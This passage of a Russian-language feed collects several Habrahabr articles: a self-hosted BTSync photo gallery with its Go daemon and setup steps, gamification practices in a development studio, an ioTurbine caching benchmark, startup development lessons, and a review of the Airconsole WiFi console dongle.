  2. Пользователь неважно где расшаривает папку и получает readonly secret key, при этом он может сделать это на NAS или у себя локально.
  3. Далее пользователь идет в веб-интерфейс управления и добавляет альбом через readonly secret key.
  4. Веб-интерфейс посылает команду BTSync скачать вот эту папку на сервере. Постепенно начинается скачивание на сервер.
  5. В это время в кроне или ещё где идет проверка, скачалось ли все или нет (а-ля индексация файлов). Все файлы, например, добавляются в БД, и к ним создается уменьшенная копия (т.е. вся мета-информация попадает из оригинальных файлов в базу данных).
  6. Через какое-то время мы удаляем оригиналы с сервера (но! они сохраняются у пользователей, которые успели скачать).

У BTSync под Linux консольного API до сих пор нет. Но есть веб-интерфейс, который может выступать в качестве API-сервера. Вооружившись Go, я написал консольную утилиту для работы с BTSync. Ну а потом сделал класс для . А дальше дело за малым: написать все остальное ;)

EazyPhoto
По основной своей специальности я php-программист. Верстка — это самое страшное для меня, что может быть:). Поэтому, взяв Foundation, я попытался что-нибудь на нем изобразить.

На главной странице мы видим список альбомов с названиями и датами. А на странице альбома — квадратные фотки с предпросмотром, как в дропбоксе. Если добавить к каждой фотке описание и задать её порядковый номер, то получится что-то типа блога. Размер больших фотографий для web-интерфейса я выбрал прямо как маркетолог — FullHD :)

Управление альбомами и фотографиями происходит внутри административной панели. Вот таким вражеским образом выглядит добавление нового альбома: достаточно заполнить название, дату начала и ReadOnly Secret.

На чем это все написано?Проект написан на внутреннем движке Eaze. Он далек от совершенства, но позволяет быстро решать определенные задачи в известный короткий промежуток времени. У него нет нормальной документации, но он же написан на PHP, поэтому чтобы что-то понять, достаточно заглянуть внутрь (прямо как в идеологии go-lang :).

База данных: выбрал mysql, потому что оно у всех есть. В основном тут интересны эти две таблички: albums и photos



Индексация файлов
Сначала я написал индексатор на PHP: он пробегал по новым альбомам, добавлял их в очередь на загрузку в BTSync, и потом пробегал по существующим и добавлял новые найденные файлы. Достаточно повесить скрипт в cron раз в 5 минут: и этого бы хватило. Но не мне.
Было бы круто, если бы фотки добавлялись в базу по мере их скачивания. И тут на помощь приходит Go.

eazyphotod
Небольшой демон, который висит и проверяет директории на наличие новых файлов. Создает превью для фотографий и сохраняет в базу. Общается с BTSync'ом. Вот его основные задачи.
Для реализации данных задач я воспользовался следующими пакетами:Проверив в демо-проекте все необходимые функции, я начал собирать это все в рабочую версию. Потребовалось примерно два дня, чтобы получить готовый результат.
Как это работает?eazyphotod запускается через upstart (в дальнейшем планирую переделать под supervisord). После запуска он загружает все альбомы в память и начинает сканирование директорий на наличие новых фотографий. Параллельно с этим запускается гоурутина на остлеживание изменений в файловой системе и на обработку HTTP запросов (обновить мета-информацию альбома и добавить новый альбом в очередь на скачку).
Все запросы (resize, мета-информации, событие о новом файле) ставятся в одну очередь:
<code>var  SyncQueue  = make(chan *SyncItem) 
type SyncItem struct {
	Album    *model.Album
	FsPhotos model.PhotoList
	FullSync bool
	Filename string
}
</code>
Поэтому нет необходимости отслеживать одновременный доступ к map'ам и другим важным переменным. Все идет в одной общей очереди.
Работа с базой данных тоже получилась довольно простой.
Вообще, если вы думали писать на go, но все не решались — мой вам совет: возьмите и напишите уже что-нибудь на нем :)

И ещё одно: мои go-проекты на github по идеологии размещены неправильно, т.к. в репозитории должна быть корневой только одна папка src. А у меня — целиком проект. Мне как-то не комфортно, когда рядом с исходным кодом в одной папке лежат примеры конфигов, README.md и прочие вспомогательные материалы.


Итог
Со своими задачами сервис вполне справляется: хранилище все время в сети, на нем установлен BTSync. После того, как фотографии отправлены на хранилище, папка добавлена в BTSync и веб-интерфейсе создан альбом — можно лечь спать. Сервер с eazyphoto сам скачает фотографии и добавит их в текущий альбом. Утром можно зайти, проверить, и отправить ссылку друзьям. А друзья уже при необходимости скачают оригиналы к себе через BitTorrent Sync.

Попробуй собери
Для тех, кто решил попробовать поднять это все у себя — вот :
  1. github.com/sergeyfast/eazyphoto-web — php-часть
  2. github.com/sergeyfast/eazyphotod — сам демон
Для тех, кто хочет потыкать и посмотреть примерСсылку на демо сознательно не публикую. Но Яндекс поможет найти по словам на черной плашке.
Все инструкции (или их подобие) находятся внутри проектов (open source такой open source :).

Установка вспомогательного софта на примере Ubuntu1. Установим btsync:
<code>sudo add-apt-repository ppa:tuxpoldo/btsync
sudo apt-get update
sudo apt-get install btsync
</code>
Порт с данными = 0. Порт для веб-интерфейса: 8888. IP: 127.0.0.1

2. Установим go
Рекомендую через godeb blog.labix.org/2013/06/15/in-flight-deb-packages-of-go
Минимальная версия go: 1.1

3. Установим eazyphotod
<code>git clone git://github.com/sergeyfast/eazyphotod.git
cd eazyphotod
export GOPATH=`pwd`
go get code.google.com/p/gcfg github.com/disintegration/imaging github.com/go-sql-driver/mysql github.com/howeyc/fsnotify github.com/rwcarlsen/goexif/exif github.com/sergeyfast/btsync-cli/src/btsync
go build -o eazyphotod src/*.go
</code>
После этого у нас появился бинарник.
Рекомендую создать /usr/local/eazyphotod/ (user www-data), туда скопировать eazyphotod + config.gcfg
Закинуть eazyphotod.conf в /etc/init/ и запустить (предварительно настроив config.gcfg):
<code>service eazyphotod start</code>
(deb-way: засунть конфиг в /etc/eazyphotod.conf, бинарник в /usr/bin/eazyphotod, и указать ссылку на конфиг через -config параметр).


Дальнейшее развитие
Хотелось бы не пугать потенциальных пользователей админкой, а сделать им нормальный веб-интерфейс для управления и простой скрипт/пакет для установки. Но все это актуально только с eazyphotod, потому что cron и php-процесс для гиков — явно не выход ;)

Если у кого-нибудь есть мысли по функциональности или тому, как должно это все выглядеть (или вдруг кто-нибудь хочет помочь ;) — велком.

Напоследок: лирическое отступление. Фотографируйте, делитесь с друзьями и родителями. Жизнь быстро проходит, а фотоархив остаётся (желательно в RAID1 и дополнительной копией на случай апокалипсиса :)…

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Владимир Завертайлов: «Геймификация студии с помощью подручных средств»

Сам термин «геймификация», вы, наверняка, слышали — он в последнее время снова стал модным. Означает примерно следующее: перенос игровых механик на неигровые процессы. Отчего последние (по задумке) становятся увлекательнее и охотнее воспринимаются теми, кто в них вовлечен.

Мы проанализировали внутренние процессы у себя в студии и расскажем о том, как провести геймификацию без специальных технологий и инструментов — буквально с помощью пластиковой бутылки и изоленты.

image

Так что, если вы командуете отрядом разработчиков, верстальщиков, дизайнеров, да хоть кого — можете вчитаться.

1. Азартные игры как часть рабочего процесса
Если следовать банальной логике, то на вопрос начальника «когда?» сотрудник должен вернуть тип данных «дата/время». Однако этого практически никогда не происходит, и вместо нужного типа данных сотрудник возвращает другой, называется «все мои проблемы».

Можно методично задалбывать подчиненного вечным вопросом, пока тот не начнет истерить, а можно превратить пытку в игру.

Игровое решение, которое мы выбрали — это карты Planning Poker, инструмент планирования, который так любят проповедовать евангелисты гибкой разработки.

Суть методики: команда собирается за одним столом, руководитель выносит на оценку фичу. Участники думают, затем каждый берет карту с цифрой и кладет ее рубашкой вверх (чтобы не смущать своей оценкой того, кто еще думает). Карты переворачивают, сравнивают значения, обсуждают результаты. И в итоге приходят к согласию.
Сначала мы взяли обычную офисную бумагу и обычным офисным маркером нарисовали себе хенд-мейд колоду.

image

Мимо проходил наш арт-директор, увидел то, чем мы занимаемся, и предложил сделать нормальные карты:

image

image

Вдохновились настолько, что сделали онлайн-сервис, где планироваться по Planning Poker’у можно не выходя из дома. Так что, если станет интересно — попробуйте.

Итого: планирование стало намного более культурным и тихим мероприятием. Можно даже не запираться в отдельной комнате, чтобы не мешать остальным. И, хотя большинство программистов и относится к покеру как к очередной игрушке начальства, играть идут.

2. Доска нововведений от Дятла Вуди
Если вы проводите у себя ретроспективы, то согласитесь, что после них остается пачка предложений «как это можно улучшить».

Процесс может стать лучше, если вы решите какую-то «одноразовую» проблему. Например, поставите два монитора тестеру — он станет отлавливать баги вдвое быстрее, и процесс тестирования улучшится (это грубый пример, конечно же).

А бывает, что для улучшения процесса требуется поработать над самим процессом. И одноразовой акцией тут не отделаться, а то все ограничится «пришли, поговорили, разошлись», максимум — написанием статьи в корпоративную Wiki. Такой подход провоцирует положить на улучшения что-то металлическое, продолговатое и с резьбой.

image

Таким образом, идеальная схема внедрения изменений с ретроспектив номер один превращается в хаос.

image

Игровое решение, которое мы внедрили у себя:

image

Мы назвали доску «Дятел-борд». Как работает: четыре ячейки — это четыре рабочие недели. Все нововведения с ретроспективы записываются на стикерах и помещаются в ячейку номер один. Каждый день на утреннем менеджерском планировании стикеры зачитываются, на каждом ставится точка маркером (символизирует удар клюва дятла). Когда стикер набирает пять точек — он перемещается в следующую колонку. Стикер продержался на доске 21 день (один добавочный) — можно судить, прижилось ли изменение.

Согласно одной теории за 21 день можно избавиться от пагубной привычки или привить позитивную. Поэтому для доски был выбран именно такой интервал.
image

Итого: изменения, призванные улучшить процесс, не теряются и не забываются. Можно отслеживать, сколько то или иное нововведение уже пытается прижиться, сколько из них в итоге приживается, а сколько уходит в небытие.

3. «Распространяй запах фиалок!»
Иногда приходится делать сотрудникам замечания, которые не касаются их работы напрямую. Но без которых сложно добиться положительной рабочей обстановки. Это о повседневности («Будьте вежливы», «Познакомьтесь с соседом по команде», «Убирайте за собой на кухне» и т. д.).
Иногда такое «советование» похоже на гипноз. Ладно, оно практически всегда похоже на гипноз. Соответственно, вашим зомбирующим советам никто не следует. Задача остается открытой: как донести послание до адресата так, чтобы оно усвоилось?

Игровое решение — несерьезные советы, которые можно оформить, например, так:

image

Еще мы пишем «советы дня» каждое утро и доставляем до рабочих мест. Некоторые даже стали их коллекционировать.

image

Итого: Несерьезная форма играет на руку вполне серьезным советам. Таким следовать приятнее, чем сухим декларациям.

4. Игровые механики «Личная жизнь» и «Голосование»
У многих, думаю, бывало: разработчик отмалчивается на ретроспективах, а потом берет и внезапно увольняется. Потому что вы все его достали.

Игровое противоядие: в хорошо проходимом и в то же время укромном месте размещается календарь (японцы называют его Niko Niko):

image

Фотографии — это руководители проектов. Пустые ячейки — дни недели. Справа находятся трехцветные кнопки. Любой разработчик может подойти к календарю и оценить свои впечатления от работы с менеджером. В конце недели календарь фотографируется, и его результаты, в числе прочей повестки дня, обсуждаются на пятничной менеджерской ретроспективе.

Итого: Дает мотивацию руководителям проектов работать над собой. Дает эмоциональную «отдушину» разработчикам. Негативный момент: особо чувствительных несколько красных кнопок способны выбить из колеи и демотивировать.

5. Механика постоянной и временной активности
Есть такой всем известный игровой механизм — обратный отсчет. Обычно встраивается в игру для придания оной большей динамики. В разработке своеобразный таймер — это дата дедлайна.

И снова о повседневных процессах.

Студийный холодильник. В нем постоянно такая картина: десяток открытых пачек майонеза, несколько промерзших огурцов, чей-то завтрак и — непременно — что-то неведомое и дурно пахнущее. Где искать владельца — не понятно: судя по состоянию неведомого, он ушел в отпуск и не вернулся.

Что сделали: довели до сведения всех, что уборщица вправе забрать из холодильника всё, что ей понравится, в пятницу вечером. Это немного улучшило память коллектива.

image

Это было о кратковременной активности. Теперь о постоянной.

Для того, чтобы менеджерский состав не опаздывал на утренние планерки, придумали пивной фонд. Каждый опоздавший расплачивается за свою оплошность бумажкой в сто рублей.

image

Результат обоих нововведений: у нас появился чистый холодильник и резервный бюджет на проведение внутристудийных мероприятий с пивом и пиццей. Важный фактор здесь — добровольные начала. Принудиловка демотивирует.

6. Игровая механика «Частная собственность»
Механика хорошо адаптируется на те процессы, где нужен «надзор». В нашем случае была проблема: книжки в корпоративную библиотеку порой не возвращали, и их приходилось разыскивать с собаками.

Что сделали: передали библиотеку в безраздельное владение нашего аналитика. Так как Эмма стремится категоризировать и структурировать всё, что ей попадается под руку, та же благодатная участь постигла и библиотеку.

image

Книги распределены по тематическим секторам, и каждой книге присвоен свой уникальный код. Кстати, для всех, кто берет с полки книгу, действует уже другая игровая механика, эдакий квест: взял книгу, отлепил стикер с номером, приклеил на свой портрет. Прочитал, вернул стикер на корешок, а книгу в свой сектор. И без традиционной библиотечной волокиты, и книги на месте.

Итого: видно, кто и что читает в настоящее время, книги возвращаются после прочтения и не теряются. У аналитика появилось свое «детище», за которым она ухаживает, как за комнатной орхидеей.

7. Leaderboard из ада
image

Если поинтересоваться темой геймификации в интернетах, то первая же механика, на которую вы с большой вероятностью наткнетесь — это «доска лидеров», «рейтинг победителей», называйте, как угодно.

Например, яркий пример построения приложения только вокруг лидерборда — foursquare.

Изначально эксперимент с внедрением доски, подстегивающей мотивацию, мы провели на продажниках. Соревновательный эффект отработал на полную: за три месяца прибыль студии выросла на 12,2%. Общие трудозатраты на внедрение и контроль выполнения — порядка 4–8 часов.

После такого успеха первой мыслью любого руководителя будет: это нужно применить ко всем! Программистам, дизайнерам, аккаунт-менеджерам и т.д.

Изучили тематический софт. Если есть пользователи Jira — то для вас есть отдельный , называется Jira Hero, который строит «таблицу самых-самых» на основании количества закрытых задач, исправленных багов и прочих «программистских» метрик.

Но с точки зрения бизнеса то же количество выполненных задач не имеет никакого отношения к коммерческому успеху проекта. Бизнесу нужны другие механики, и мы попробовали «раздавать очки» разработчикам на основании проработанного времени, количества дохода, которое принес именно этот разработчик, количества багов в коде, количества успешно сданных проектов… Аналогичное произвели над дизайнерами и SEOшниками.

Эксперимент не удался.

Самая главная причина: неясность критериев оценки. Также немаловажный фактор: не все действия разработчика влияют на прибыль компании напрямую (а это самая универсальная и простая для понимания метрика).

image

Однако демотивация мужской половины населения студии была игрушечной, по сравнению со страстями, которые кипели среди женской.

Несложная экономика эксперимента над «женским» SEO-отделом:

Продолжительность эксперимента: 2 месяца.
Финансовый ущерб: ~200 000 руб.
Потери личного состава: 2 сотрудницы.
Срок реабилитации моральной атмосферы: 3 месяца.
Как общий вывод
Руководитель должен понимать, что его сотрудники не делают плохо намеренно. Вероятно, у них на это есть какие-то объективно-субъективные причины, и ваша задача — в них разобраться, а не вводить «универсальную метрику». К слову, вводя последнюю, будьте готовы к тому, что вы разбудите в людях не желание работать лучше, а желание подстроиться под метрику, оптимизировать ее «под себя».

Внедряя игровые механики (да и вообще что-то новое), не забывайте об уважении. Ваша задача, как руководителя, — раскрыть потенциал ваших подопечных, а не навязывать им игры, в которые никто не хочет играть.

Сообщества геймификации:
Погуглить:
«47 игровых механик»

Попробовать софт:


Источник: habrahabr.ru,
получено с помощью rss-farm.ru


ioTurbine: повышение производительности систем виртуализации

ioTurbine — это приложение, предназначенное для прозрачного кэширования передаваемых данных с SAN или NFS систем хранения данных в виртуальных средах. ioTurbine кэширует данные хостов, обеспечивая низкие задержки (low latency). При помощи ПО ioTurbine и карт Fusion-io, пользователи могут получить тэрабайты кэша, основанного на технологии флэш-памяти, существенно увеличив тем самым производительность виртуальных сред, устранить узкие места дисковой подсистемы, увеличить количество виртуальных машин, расположенных на одном сервере и тем самым минимизировать расходы в инфраструктуру хранения данных.


Хотя виртуализация позволяет организациям использовать и управлять инфраструктурой гораздо более эффективно, она предъявляет крайне высокие требования к системам хранения данных, как при последовательных, так и при случайных обращениях к данным СХД. Но именно случайные операции с данными являются наиболее большой проблемой при работе с СХД любых типов. И именно на устранение этого недостатка тратиться наибольшая часть средств, вложенных в системы хранения данных. В итоге, большая часть средств, сэкономленных при эксплуатации виртуальной рабочей среды, уходит на покупку более дорогостоящих и более производительных СХД.

ioTurbine раскрывает потенциал VMware, превращая карты ioDrive в мощный и легкий в управлении инструмент для повышения производительности систем хранения данных в виртуальной среде. После установки ioTurbine работает в фоновом режиме в качестве компонента гипервизора и гостевой операционной системы. Для оптимального использования ресурсов, ioTurbine динамически выполняет балансировку операций ввода/вывода между виртуальными машинами, так же поддерживается vMotion и перемещение машин между хостами.

Ввиду того, что ioTurbine работает прозрачно для виртуальных машин, изменения в конфигурации могут быть выполнены на лету, без простоя машин. Администратор может конфигурировать приоритетность между виртуальными машинами и приложениями, обеспечивания наибольшую производительность именно там, где это нужно в данный момент. Благодаря разгрузке основного хранилища данных увеличивается производительность приложений и системы в целом.

Мы решили провести небольшое тестирование и узнать — каков же процент прироста в «попугаях», т.е. в виртуальных машинах.
В качестве тестового стенда была выбран сервер IBM System x3650 M3 в следующей конфигурации:
  • процессор Xeon E5506
  • память 48Гб
  • жесткие диски 8xSAS 146Гб 10k
  • ioDrive2 365Gb MLC
Метод тестирования прост, бралось N-ное количество виртуальных машин с отключенным кэшем, прогонялись тесты, потом включался кэш для всех машин и тесты прогонялись ещё раз.
Что касается тестов, их было 2:
  • Iometer (70R/30W)
  • SQLIO Random Reads
  • SQLIO Sequential Reads
На самом деле изначально мы хотели добиться того, что показатели на виртуальных машинах без кэша просто упрутся в 0 и посмотреть сколько виртуальных машин после этого удастся добавить, подключив кэш. Но тестирование и изучение этой системы отняло у нас очень большое количество времени, поэтому в конечном итоге было решено провести замеры производительности, взяв за максимум 10 виртуальных машин.

Iometer


SQLIO Random Reads
IOPS



MB/s


SQLIO Sequential Reads
IOPS



MB/s


Как мы видим — в более синтестическом тесте Iometer разница не так велика уже после запуска второй виртуальной машины, а вот с более реальным тестом SQLIO, эмулирующим работу SQL-сервера показатели становятся уже более радостными и лишь под конец, уже на 10-й виртуальной машине их показатели становятся более близкими друг к другу, хотя во всех остальных случаях — работа с кэшем в 1,5-2 раза быстрее, чем без него.
К моему большому сожалению мы не успели провести тестирование при live migration виртуальных машин, но, возможно, мы вернёмся к этому вопросу в одной из наших будущих статей.
Что же хочется сказать в итоге о ioTurbine — если вы ограничены в возможностях расширения вашего сервера, ioTurbine + ioDrive вполне неплохое решение для увеличения производительности дисковой подсистемы.

Напоминаю, что вы можете получить в demo данную карту, или мы предоставим удалённый сервер с установленной платой, сконфигурированный для ваших целей, и вы сможете провести тестирование удалённо. Для приобретения Fusion io или запроса demo просьба обращаться к руководителю направления Алексею Котову.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


15 вещей, которые мы хотели бы знать перед разработкой стартапа

image
За четыре года работы над онлайн консультантом WebConsult мы накопили достаточно большой опыт, и оказалось, что изначально мы не учли многих вещей, которые потом приходилось переделывать – в итоге это стоило нам массы времени, средств и нервов. Эта статья, а возможно и цикл статей, будут посвящены аспектам, которые необходимо продумать еще до начала разработки, дабы будущие стартаперы изначально закладывали грамотную основу в свои веб-приложения. Этой статьи нам очень не хватало четыре года назад, когда создание системы только начиналось, и мы надеемся, что она поможет вам не повторить наших основных ошибок. Многие приведенные советы кому-то покажутся очевидными, однако часто разработчики их упускают, поэтому мы считаем необходимым еще раз напомнить о простых вещах.


1. Мультиязычность

При разработке мы думали, что день когда наш проект станет международным настанет совсем не скоро. Целью было сначала запуститься в России и посмотреть, что из этого получится, а если проект пойдет – то мы сможем быстро перевести всё на другие языки. Мы ошибались и в итоге получили огромное количество текстов, зашитых непосредственно в шаблоны проекта и JS код, а кое-где логика самого приложения вообще не очень способствовала локализации.
Сейчас мы начали работу по переносу всех текстов в lang-файлы, в том числе и из javascript (благодаря замечательной библиотеке i18next), однако если бы мы подумали об этом изначально, то сделать это было бы гораздо проще. Конечно же, все новые возможности и интерфейсы мы теперь сразу готовим к локализации.

2. Часовые пояса

Не забывайте, что только в нашей стране существует 9 часовых поясов, поэтому мы рекомендуем сразу дать возможность пользователю выбирать часовой пояс и применять его ко всем датам на сайте, статистическим выборкам и т.п. Потом это будет тяжело переделать.

3. Подумайте о масштабируемости

Если ваш стартап будет успешен, то рано или поздно настанет момент, когда вам не будет хватать мощности одного сервера. Как правило не возникает никаких проблем с распределением нагрузки на HTTP-сервер: ставим сервер-балансировщик и направляем трафик на несколько одинаковых HTTP серверов. Гораздо интереснее ситуация с масштабированием БД. Конечно, существует репликация, но, как показала практика, она крайне ненадежна в случае c MySQL. Лучше выносить логически независимые части проекты на разные сервера БД (шардинг), однако об этом лучше подумать до разработки самого приложения. Например, особенно тяжелые можно вынести на отдельный сервер БД и нагружать основной. Даже если вы изначально хотите запускать все на одном сервере, то предусмотрите возможность легкого переноса некоторых модулей на отдельный сервер, когда такая необходимость возникнет.

4. Выводите все в API

Если ваше приложение подразумевает в будущем наличие общедоступного API – подумайте об этом сразу. Работая над модулем, который теоретически должен быть доступен сторонним разработчикам, сразу сделайте API методы работы с ним. При правильной архитектуре приложения сделать это очень легко, гораздо сложнее делать это потом. У нас до сих пор нет полноценного API только потому, что мы не подумали об этом изначально – сейчас мы ведем работу, чтобы исправить эту ситуацию.

5. Лавинообразные запросы – в Redis

Кнопка нашего онлайн консультанта располагается на тысячах сайтов, а количество показов кнопки исчисляется десятками миллионов в сутки. Каждый показ кнопки генерирует запрос к БД, который сохраняет переход посетителя – это необходимо, чтобы консультанты могли видеть полный путь клиента по сайту в процессе разговора. Сначала эти данные записывались в MySQL, что оказалось в итоге совершенно некорректным. Во-первых, это был самый главный источник на нагрузки на БД. Во-вторых, mysql крайне негативно относился к такому бешеному количеству одновременных запросов на изменение таблицы и иногда даже возникали кратковременные блокировки БД – запросы скапливались, и все приложение начинало жутко тормозить. В-третьих, процесс очистки этих данных по истечении срока давности был достаточно ресурсоемким. Мы очень много экспериментировали с настройками MySQL и добились немногого. В процессе поиска альтернатив было решено перейти на Redis, который записывает данные в память в формате «ключ»: «значение», обеспечивая высокую скорость чтения-записи и отсутствие блокирующих запросов, а данные можно очищать, задав time-to-live. Нам такая модель подходила идеально.

Не скажу, что переход был гладким: пришлось плотно покопаться в настройках Redis'а, переписать кучу скриптов, пережить несколько даунтаймов, но все же мы это сделали и в результате сократили нагрузку на БД почти вдвое. Опять же, если бы мы подумали об этом заранее, все было бы гораздо проще. Поэтому если у вас планируются подобное «лавинообразные» запросы, лучше переведите их на Redis сразу: когда-нибудь вы скажите себе за это спасибо.

Кроме Redis существуют и другие подобные продукты, но, к сожалению, с ними мы не работали.

6. Минимальное взаимодействие пользователя и тех.поддержки

Сократите количество операций, которые пользователь не может сделать самостоятельно, без участия поддержки. Примерами таких операций являются — переход на другой тариф, формирование договора, выставление счетов, закрывающих документов. В идеале тех. поддержка должна помогать пользователям с выполнением уже доступных им операций, а не делать эти операции за них. Разгрузив сотрудников поддержки, вы сможете обойтись меньшим штатом и сэкономить деньги.

7. Не допускайте беспорядка в файлах проекта

Очень жалеем о том, что изначально хорошо не подумали о файловой структуре проекта – поэтому у нас в файлах системы образовался некоторый беспорядок: где-то из-за элементарной лени, где-то из-за того, что мы не все учли. Потихоньку наводим порядок, но дело это не быстрое. Естественно на работу системы это никак не влияет, но мешает процессу разработки. Да и в целом, когда все файлы лежат на своих местах, это вызывает эстетическое удовольствие. Сразу подумайте, где у вас будут лежать библиотеки, как будет организованно расположение статики, и по какому принципу будут распределены файлы проекта.

8. Используйте JavaScript шаблонизаторы

Немногие разработчики знают, но в javascript тоже можно использовать шаблоны, что не только делает js-код более чистым, но и сильно упрощает работу с HTML-кодом. Для этих целей существует целый ряд продуктов: Handlebars, Swig, EJS, undercore.js. Если у вас планируется RIA (Rich Internet Application), то рекомендуем познакомиться еще и с Backbone.JS, который станет отличным каркасом вашего JS-приложения.

9. Максимально очищайте ненужные данные

Ваш проект должен жить по принципу: если данные устарели или вышел срок их хранения –их нужно удалять. Чем больше данных в таблицах, тем больше нагрузка и тем медленнее работа системы. По мере разработки создавайте cron-скрипты, которые будут удалять ненужные данные – это относится не только к записям в БД, но и к пользовательским файлам. Например, частой ошибкой является удаление записи с файлом из БД, однако сам файл в хранилище остается.

Сюда же можно отнести и тот случай, когда из БД удаляется главная запись, но не удаляются связанные с ней записи в других таблицах: таким образом, нарушается целостность данных. В MySQL для этой цели можно использовать триггеры и внешние ключи.

10. Единый дизайн – во всем

Старайтесь, чтобы ваш дизайн был единым везде: имел одинаковый общий стиль и стиль отдельных элементов – таких как формы, буттоны, скроллбары, таблицы и т.п. При разработке дизайна создайте своего рода стандарт и не отступайте от него. Во-первых, это сильно облегчит верстку, во-вторых – вашим пользователям будет удобнее, если все будет унифицировано; в-третьих это просто красиво, когда везде, даже в мелочах, сохраняется общий стиль.

11. Используйте LESS для стилей

LESS — это простой инструмент, который превращает обычный CSS в динамический и позволяет использовать вложенные правила, переменные и функции. Код CSS становится более наглядным, а процесс разработки сильно упрощается. На выходе, с помощью специальной утилиты lessc, мы компилируем less-код и получаем обычный css-файл. С трудом можем себе представить, как раньше обходились без LESS – обязательно попробуйте.

12. Логичное ценообразование

Даже если у вас фиксированные тарифы иногда возникают ситуации, когда клиент требует индивидуального расчета стоимости под его потребности. Очень часто называются какие-то ориентировочные цены, происхождение которых непонятно. На первых порах мы грешили тем, что позволяли пользователям набирать только те функции, которые им необходимы. Соответственно стоимость таких тарифов рассчитывалась приблизительно и разнилась от клиента к клиенту. Это создавало сильную путаницу внутри компании и тогда мы решили, что все цены должны логично рассчитываться. Нам пришлось сделать индивидуальные тарифы менее гибкими: теперь люди могут выбирать не отдельные функции, а наборы функций – однако таким образом мы избавились от неразберихи и наши цены стали на 100% прозрачными и понятными, как для клиентов, так и для сотрудников.

13. Сразу думайте о том, как будете собирать статистику

Если в вашем приложении должна быть по каким-либо данным, то настоятельно рекомендуем заранее подумать о том, как она будет собираться. Ведь когда речь идет о статистике важно не только получить данные из БД, но и сделать это быстро. Возможно, что для удобства выборки вам нужно будет добавить дополнительные ключи или сразу же где-нибудь собирать посчитанные данные.

14. Дорабатывайте только те функции, которые будут полезны остальным клиентам

Стандартная ситуация: к вам приходит клиент, которого в принципе устраивает ваш продукт, однако ему нужно «совсем немного» кое-что доработать – иначе он откажется. Очень велик соблазн, особенно в первое время, поддаться на уговоры клиента и доделать какие-либо возможности специально для него. Но не стоит торопиться. Прежде всего, подумайте: будет ли данная возможность полезна другим клиентам? Если это что-то узконаправленное и нужное только конкретному клиенту, то лучше бросайте это дело. В противном случае, постоянно создавая индивидуальные доработки, вы загоняете себя в яму, из которой почти нет выхода – ваш код становится грязным, а при разработке новых возможностей вам придется проверять их на совместимость с кучей мелких индивидуальных доработок. Это не значит, что не нужно прислушиваться к вашим клиентам – мы лишь рекомендуем опираться на пожелания большинства и с осторожностью относиться к единичным идеям.

15. Думайте о тех, кто присоединится к разработке

Простое правило при написании кода – всегда задавайте себе вопрос: сможет ли в этом разобраться новый разработчик? Делайте все логично, красиво и не скупитесь на комментарии. Часто проекты начинают писать в одиночку и не задумываются об этом. Однако если вы рассчитываете в итоге на более крупный проект, то однозначно настанет тот день, когда вашу команду пополнят новые программисты и им придется вникать в ваш код.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[Из песочницы] Airconsole. Подключение к Console port Cisco по WiFi

Достаточно давно я пользуюсь iOS приложением для администрирования сетевого оборудования Get-console производства новозеландской CloudStore. Данное приложение, субъективно, лучшее для такого рода деятельности, имея в распоряжении iPad или iPhone (последнее спорно из-за размера экрана). Прикупил себе и кабель для подключения планшета к консольному порту.

Так продолжалось какое-то время, пока не пришла пора обновить Пад. Выбор пал на iPad 4, и, о горе, встал острый вопрос — а что же делать с Lightning портом, ведь консольный кабель имеет только 30-пиновый разъем. Выход на время был найден — переходник с 30-pin на Lightning.
Так я пользовался до июля сего года.

Компания разработчик и производитель кабелей разродились версией Lightning своего консольного провода, также представило устройство под названием — Airconsole.

Airconsole — это WiFi-донгл для подключения по WiFi к консольному порту сетевого оборудования (Cisco, Juniper, HP и т.д.).


Так выглядит упакованный Airconsole:



Комплектация, здесь набор ProPack (Два переходника: на DB-9 и Nullmodem, usb-console cable, mini-usb charge cable, Лицензия на два iOS устройства для работы с Private Server)



Тыльная сторона донгла:



Боковые стороны:
1. Здесь расположена кнопка включения и зарядки других устройств (например iPhone), кнопка индикатора батареи
2. На этой стороне расположен разъем mini-usb для зарядки донгла

И так мы достали Донгл и включили. Дальше он загрузится (примерно 10-15 секунд) и развернет WiFi сеть с IP 192.168.10.1, название сети и пароль написаны на тыльной стороне донгла. Теперь можно зайти на web-интерфейс и настроить устройство:

Страница Статус


Настройка консольного порта


Настройка ethernet и dhcp


Wireless


Route


И секция Admin


Настройка тривиальна и не требует усилий. Теперь обо всем по порядку:

1. Да. Я не ошибся. Донгл действительно умеет работать внешним аккумулятором. Для включения этой функции кнопка включения ставится в среднее положение ©. Внутри него Li-ion батарея на 1800 mAh, которая позволяет работать с устройством в активном режиме около 5 часов, в режиме ожидания прослужит 14 дней. Для определения разряда батареи есть кнопка, нажав которую загорается индикатор, у которого три деления, Полный заряд — все три деления горят, половина заряда — два деления (час-два работы), Одно деление — 30 минут работы (примерно).

2. Донг умеет пробрасывать проводную сеть в сеть WiFi. Делает это хорошо и решается проблема с 3G покрытием для работы iOS устройств. Во всяком случае в помещении где нет сигнала сети, будет интернет.

Про Get-Console for iOS подробно рассказывал insekt, правда версия с тех пор сильно обновилась. Я же расскажу как работает Донгл с родным приложением для iOS и с консолью на Mac — Terminal.app (Другого под рукой нет):

Get-Console iPad

Первое, что нужно сделать, это подключиться к WiFi сети, которую раздает Airconsole. Далее купить приложение get-console за 9,99$ (поверьте, оно того стоит) и открыть его



После заходим в диспетчер подключений и создаем «Быстрое подключение» (без сохранения)



Выбираем тип подлючения Serial и запускаем







На скрине показан статус подключения и возможность расшарить консоль для удаленного сотрудника средствами Private Server, лицензия на который идет в ProPack комплектации. Подробно останавливаться не буду, т.к. для этого требуется отдельный хабра-топик. Скажу лишь, что наличие такого сервера избавляет сетевых администраторов и noc-инженеров от выезда на удаленные объекты. Можно обойтись обычными инженерами.



Terminal.app for Mac
Тут уже не все так гладко, т.к. придется ставить kernel драйвер и небольшую утилиту — AIRConsoleOSX



Скачав и установив драйвер и утилиту, запускаемся, попутно подключившись к WiFi сети донгла



Нажав кнопку Connect, начинается эмуляция последовательного порта



Далее запускаем Terminal и и вводим
screen /dev/tty.Airconsole-1 9600
где — 9600 это скорость консольного подключения



На этом заканчиваю свой обзор. Добавлю, что донгл умеет обновляться, текущая версия прошивки — 1.02. В будущем планируется с поддержкой терминальных серверов cisco, выпуск полноценного драйвера для Mac (Для Win уже есть). На сайте производителя также указано, что консольный usb кабель работает в Linux и Mac нативно. Одно жалко — длина всего 30 см.

